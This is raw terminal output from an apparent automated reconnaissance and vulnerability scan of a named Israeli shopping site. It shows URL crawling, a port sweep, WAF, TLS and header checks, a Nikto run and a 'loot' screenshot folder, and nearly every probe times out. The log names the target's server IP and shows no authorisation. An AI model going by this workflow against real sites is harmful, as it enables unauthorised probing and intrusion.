|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 9 / 55 ]-[07:09:48] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/עגלת-קניות/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 10 / 55 ]-[07:09:53] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/tag/יודיאיקה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 11 / 55 ]-[07:09:58] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/tag/ייחודי/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 12 / 55 ]-[07:10:03] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/רשימה-לצפיה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 13 / 55 ]-[07:10:08] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/הסיגריה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 14 / 55 ]-[07:10:13] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/נוף/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 15 / 55 ]-[07:10:18] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/חנות-מערכת/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 16 / 55 ]-[07:10:23] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/הספסל/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 17 / 55 ]-[07:10:28] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/יערית-ארט/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 18 / 55 ]-[07:10:33] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/צרו-איתנו-קשר/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 19 / 55 ]-[07:10:38] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/wp-login.php ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 20 / 55 ]-[07:10:43] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/category/סרטוני-הדרכה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 21 / 55 ]-[07:10:48] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/yaniv?action=register ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 22 / 55 ]-[07:10:53] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/אדנית-משטח/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 23 / 55 ]-[07:10:58] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/צועד-ברחוב/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 24 / 55 ]-[07:11:03] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/חתול-בטבע/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 25 / 55 ]-[07:11:08] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/כוס-קפה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 26 / 55 ]-[07:11:13] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/כוס-לילדים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 27 / 55 ]-[07:11:18] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/מתחת-למטריה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 28 / 55 ]-[07:11:23] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/שובשוב-יצירה-אקולוגית/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 29 / 55 ]-[07:11:28] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/איילת-השחר-עיצובים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 30 / 55 ]-[07:11:33] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/סט-כוסות-ייחודי/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 31 / 55 ]-[07:11:38] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/אדן-אדניות-וגינון-אורבני/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 32 / 55 ]-[07:11:43] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/פשיטא-גלריה-לאומנות-יהודית/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 33 / 55 ]-[07:11:48] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/product-category/אומנות/page/2/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 34 / 55 ]-[07:11:53] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?w_action=user_feedback&post_author=1 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 35 / 55 ]-[07:11:58] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?w_action=user_feedback&post_author=9 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 36 / 55 ]-[07:12:03] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אוכל/שוקולד-משפחתי-בעיצוב-אישי/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 37 / 55 ]-[07:12:08] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/שרשרת-עור-בשילוב-אבני-סברובסקי/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 38 / 55 ]-[07:12:13] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/ציורים-מקוריים-אקריליק-על-קנווס/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 39 / 55 ]-[07:12:18] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/עגילים-עם-אפליקציה-מברונזה-עבודת-יד-בש/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 40 / 55 ]-[07:12:23] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/shop/חנות-צילום-לתפוס-את-הרגע-חן-גן-אל-צלם/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 41 / 55 ]-[07:12:28] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/uncategorized/שרשרת-ברונזה-עבודת-יד-בשילוב-אבן-אגט-עם/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 42 / 55 ]-[07:12:33] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/products/אומנות/שרשרת-ייחודית-עבודת-יד-מאבני-מון-סטון-ו/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 43 / 55 ]-[07:12:38] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/החשבון-שלי/תיבת-דואר/?priv_act=send&pid=149&uid=2 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 44 / 55 ]-[07:12:43] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/החשבון-שלי/תיבת-דואר/?priv_act=send&pid=154&uid=2 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 45 / 55 ]-[07:12:48] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/החשבון-שלי/תיבת-דואר/?priv_act=send&pid=268&uid=9 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 46 / 55 ]-[07:12:53] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/החשבון-שלי/תיבת-דואר/?priv_act=send&pid=257&uid=7 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 47 / 55 ]-[07:12:58] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=grid&get_urls=http://www.ishopy.co.il/product-list/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 48 / 55 ]-[07:13:03] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=list&get_urls=http://www.ishopy.co.il/tag/%D7%A2%D7%95%D7%A8/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 49 / 55 ]-[07:13:08] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=grid&get_urls=http://www.ishopy.co.il/tag/%D7%A9%D7%A8%D7%A9%D7%A8%D7%AA/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 50 / 55 ]-[07:13:13] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=grid&get_urls=http://www.ishopy.co.il/tag/%D7%90%D7%91%D7%A0%D7%99%D7%9D/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 51 / 55 ]-[07:13:18] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=grid&get_urls=http://www.ishopy.co.il/tag/%D7%90%D7%95%D7%9E%D7%A0%D7%95%D7%AA/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 52 / 55 ]-[07:13:23] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=list&get_urls=http://www.ishopy.co.il/tag/%D7%92%D7%A9%D7%9D-%D7%A6%D7%99%D7%9C%D7%95%D7%9D-%D7%A6%D7%9C%D7%9D-%D7%A8%D7%97%D7%95%D7%91-%D7%96%D7%95%D7%92-%D7%A8%D7%95%D7%9E%D7%A0%D7%98%D7%99/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 53 / 55 ]-[07:13:28] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=grid&get_urls=http://www.ishopy.co.il/tag/%D7%A6%D7%99%D7%9C%D7%95%D7%9D-%D7%A8%D7%97%D7%95%D7%91-%D7%A6%D7%9C%D7%9D-%D7%AA%D7%9E%D7%95%D7%A0%D7%94-%D7%90%D7%95%D7%9E%D7%A0%D7%95%D7%AA/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 54 / 55 ]-[07:13:33] [ - ] 
|_[ + ] Target:: [ http://www.ishopy.co.il/?switch_grd=list&get_urls=http://www.ishopy.co.il/tag/%D7%A6%D7%99%D7%9C%D7%95%D7%9D-%D7%98%D7%91%D7%A2-%D7%97%D7%99%D7%95%D7%AA-%D7%A6%D7%9C%D7%9D-%D7%AA%D7%9E%D7%95%D7%A0%D7%94-%D7%90%D7%95%D7%9E%D7%A0%D7%95%D7%AA/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

[ INFO ] [ Shutting down ]
[ INFO ] [ End of process INURLBR at [05-01-2018 07:13:33]
[ INFO ] [ TOTAL FILTERED VALUES ]:: [ 0 ]
[ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-ishopy.co.il.txt  ]
|_________________________________________________________________________________________

\_________________________________________________________________________________________/

 + -- --=[Port 110 opened... running tests...

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-05 07:13 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.96 seconds
 + -- --=[Port 111 closed... skipping.
 + -- --=[Port 135 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 161 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking https://ishopy.co.il

 + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
   ____ _                 _ _____     _ _
  / ___| | ___  _   _  __| |  ___|_ _(_) |
 | |   | |/ _ \| | | |/ _` | |_ / _` | | |
 | |___| | (_) | |_| | (_| |  _| (_| | | |
  \____|_|\___/ \__,_|\__,_|_|  \__,_|_|_|
    v1.0.1                      by m0rtem


[07:13:42] Initializing CloudFail - the date is: 05/01/2018
[07:13:42] Fetching initial information from: ishopy.co.il...
[07:13:42] No ipout file found, fetching data
[07:13:42] Just checking for updates, please wait...
[07:13:42] Updating CloudFlare subnet...
[07:13:42] Updating Crimeflare database...
[07:15:29] ipout file created
[07:15:29] Server IP: 81.218.229.174
[07:15:29] Testing if ishopy.co.il is on the Cloudflare network...
[07:15:29] ishopy.co.il is not part of the Cloudflare network, quitting...
 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
https://ishopy.co.il [ Unassigned]

 + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +



 AVAILABLE PLUGINS
 -----------------

  PluginHSTS
  PluginHeartbleed
  PluginSessionRenegotiation
  PluginChromeSha1Deprecation
  PluginCompression
  PluginSessionResumption
  PluginCertInfo
  PluginOpenSSLCipherSuites



 CHECKING HOST(S) AVAILABILITY
 -----------------------------

   ishopy.co.il                        => WARNING: Could not connect (timeout); discarding corresponding tasks.



 SCAN COMPLETED IN 5.04 S
 ------------------------
Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)


###########################################################
    testssl       2.9dev from https://testssl.sh/dev/

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
 on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
 (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")



Unable to open a socket to 81.218.229.174:443. 


 ███▄ ▄███▓ ▄▄▄        ██████   ██████  ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
▓██▒▀█▀ ██▒▒████▄    ▒██    ▒ ▒██    ▒ ▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▓██    ▓██░▒██  ▀█▄  ░ ▓██▄   ░ ▓██▄   ▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
▒██    ▒██ ░██▄▄▄▄██   ▒   ██▒  ▒   ██▒▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
▒██▒   ░██▒ ▓█   ▓██▒▒██████▒▒▒██████▒▒░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
░ ▒░   ░  ░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
░  ░      ░  ▒   ▒▒ ░░ ░▒  ░ ░░ ░▒  ░ ░▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒ 
░      ░     ░   ▒   ░  ░  ░  ░  ░  ░   ░    ░   ░ ░      ░      ░    ░ ░  ░ 
       ░         ░  ░      ░        ░   ░          ░  ░   ░  ░   ░  ░   ░    
                                             ░                        ░      
+ -- --=[MÄŚŚBĻËËĐ V20160303 BŸ 1Ņ3 @ ĊŖÖŴĐŚȞÏËĻĐ - https://crowdshield.com
+ -- --=[Scan Complete!
 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on ishopy.co.il... 

+ -- --=[Checking if X-Frame options are enabled on ishopy.co.il... 

+ -- --=[Checking if X-XSS-Protection header is enabled on ishopy.co.il... 

+ -- --=[Checking HTTP methods on ishopy.co.il... 

+ -- --=[Checking if TRACE method is enabled on ishopy.co.il... 

+ -- --=[Checking for META tags on ishopy.co.il... 

+ -- --=[Checking for open proxy on ishopy.co.il... 

+ -- --=[Enumerating software on ishopy.co.il... 

+ -- --=[Checking if Strict-Transport-Security is enabled on ishopy.co.il... 

+ -- --=[Checking for Flash cross-domain policy on ishopy.co.il... 

+ -- --=[Checking for Silverlight cross-domain policy on ishopy.co.il... 

+ -- --=[Checking for HTML5 cross-origin resource sharing on ishopy.co.il... 

+ -- --=[Retrieving robots.txt on ishopy.co.il... 

+ -- --=[Retrieving sitemap.xml on ishopy.co.il... 

+ -- --=[Checking cookie attributes on ishopy.co.il... 

+ -- --=[Checking for ASP.NET Detailed Errors on ishopy.co.il... 


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on ishopy.co.il:443
---------------------------------------------------------------------------
+ 0 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/ishopy.co.il-port443.jpg
 + -- --=[Port 445 closed... skipping.
 + -- --=[Port 512 closed... skipping.
 + -- --=[Port 513 closed... skipping.
 + -- --=[Port 514 closed... skipping.
 + -- --=[Port 623 closed... skipping.
 + -- --=[Port 624 closed... skipping.
 + -- --=[Port 1099 closed... skipping.
 + -- --=[Port 1433 closed... skipping.
 + -- --=[Port 2049 closed... skipping.
 + -- --=[Port 2121 closed... skipping.
 + -- --=[Port 3306 closed... skipping.
 + -- --=[Port 3310 closed... skipping.
 + -- --=[Port 3128 closed... skipping.
 + -- --=[Port 3389 closed... skipping.
 + -- --=[Port 3632 closed... skipping.
 + -- --=[Port 4443 closed... skipping.
 + -- --=[Port 5432 closed... skipping.
 + -- --=[Port 5800 closed... skipping.
 + -- --=[Port 5900 closed... skipping.
 + -- --=[Port 5984 closed... skipping.
 + -- --=[Port 6000 closed... skipping.
 + -- --=[Port 6667 closed... skipping.
 + -- --=[Port 8000 closed... skipping.
 + -- --=[Port 8100 closed... skipping.
 + -- --=[Port 8080 closed... skipping.
 + -- --=[Port 8180 closed... skipping.
 + -- --=[Port 8443 closed... skipping.
 + -- --=[Port 8888 closed... skipping.
 + -- --=[Port 10000 closed... skipping.
 + -- --=[Port 16992 closed... skipping.
 + -- --=[Port 27017 closed... skipping.
 + -- --=[Port 27018 closed... skipping.
 + -- --=[Port 27019 closed... skipping.
 + -- --=[Port 28017 closed... skipping.
 + -- --=[Port 49152 closed... skipping.
 + -- ----------------------------=[Scanning For Common Vulnerabilities]=----- -- +
#########################################################################################
  oooooo   oooo       .o.        .oooooo..o ooooo     ooo   .oooooo.
   `888.   .8'       .888.      d8P'    `Y8 `888'     `8'  d8P'  `Y8b
    `888. .8'       .88888.     Y88bo.       888       8  888      888
     `888.8'       .8' `888.     `ZY8888o.   888       8  888      888
      `888'       .88ooo8888.        `0Y88b  888       8  888      888
       888       .8'     `888.  oo     .d8P  `88.    .8'  `88b    d88'
